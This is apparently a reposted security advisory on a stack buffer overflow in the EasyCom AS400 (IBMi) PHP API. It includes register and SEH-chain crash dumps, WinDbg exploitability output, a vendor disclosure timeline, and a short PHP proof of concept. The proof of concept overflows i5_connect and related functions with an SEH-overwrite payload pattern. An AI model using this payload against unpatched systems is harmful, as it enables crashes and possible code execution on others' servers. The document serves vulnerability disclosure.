EasyCom AS400 PHP API Buffer Overflow

The EasyCom AS400 (iBMI) PHP API suffers from a buffer overflow vulnerability.

MD5 | 8bac9a148fdc87f189881b33bba0ac27

[+] Credits: John Page AKA Hyp3rlinX
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/EASYCOM-PHP-API-BUFFER-OVERFLOW.txt
[+] ISR: ApparitionSec



EASYCOM is the middleware which provides native access to IBMi data and programs. With its excellent performance and strict compliance
with IBMi security regulations, this technology facilitates development of Internet, mobile and client/server applications in
Windows, Linux, and IBMi.

EasyCom tested here requires older version of PHP.

Setup test environment:

Windows 7
XAMPP 1.7.3
PHP 5.3.1 (cli) (built: Nov 20 2009 17:26:32)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0

PHP compiled module API=20090626 (need to use for EasyCom IBM DLL)

Vulnerability Type:
API Stack Buffer Overflow

CVE Reference:

Security Issue:
EasyCom PHP API suffers from multiple Buffer Overflow entry points, which can result in arbitrary code execution on affected system.
Below I provide some proof of concept details for a few of them.

EAX 00000000
ECX 41414141
EDX 771D6ACD ntdll.771D6ACD
EBX 00000000
ESP 00C0F238
EBP 00C0F258
ESI 00000000
EDI 00000000
EIP 41414141

C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 1 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit 7EFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)

SEH chain of main thread
Address SE handler
00C0F354 kernel32.7600410E
00C0FF78 42424242
52525252 *** CORRUPT ENTRY ***

WinDbg dump...

(720.a70): Access violation - code c0000005 (first/second chance not available)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
eax=00000000 ebx=00000000 ecx=41414141 edx=77316acd esi=00000000 edi=00000000
eip=41414141 esp=004111e8 ebp=00411208 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:000> !load winext/msec
0:000> !exploitable

Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000041414141
called from ntdll!RtlDosSearchPath_Ustr+0x0000000000000ada (Hash=0x05cdf8a7.0xce7d7411)

User mode DEP access violations are exploitable.

PHP Crash:

Problem signature:
Problem Event Name: BEX
Application Name: php.exe
Application Version:
Application Timestamp: 4b06c430
Fault Module Name: StackHash_e98d
Fault Module Version:
Fault Module Timestamp: 00000000
Exception Offset: 41414141
Exception Code: c0000005
Exception Data: 00000008
OS Version: 6.1.7601.

php_Easycom5_3_0.dll 0day vuln POC minus the exploit, I'm bored goin to the park.


/* Basic connection to an AS400 iBMI System */

$payload=str_repeat("A", 4000); #BOOM!
$payload=str_repeat("A",1868)."RRRRBBBB".str_repeat("\x90",100); #SEH

$conn = i5_connect($payload, "QPGMR", "PASSW") or die(i5_errormsg()); #VULN
$conn = i5_pconnect($payload, 'QSECOFR', 'password', array() ); #VULN
$conn = i5_private_connect($payload, $user, $password, array()); #VULN

echo 'EasyCom PHP API 0day ' . $conn;


Network Access:


Disclosure Timeline:
Vendor Notification: December 22, 2016
Vendor acknowledgement: December 23, 2016
Vendor Release Fix/Version February 20, 2017
February 22, 2017 : Public Disclosure

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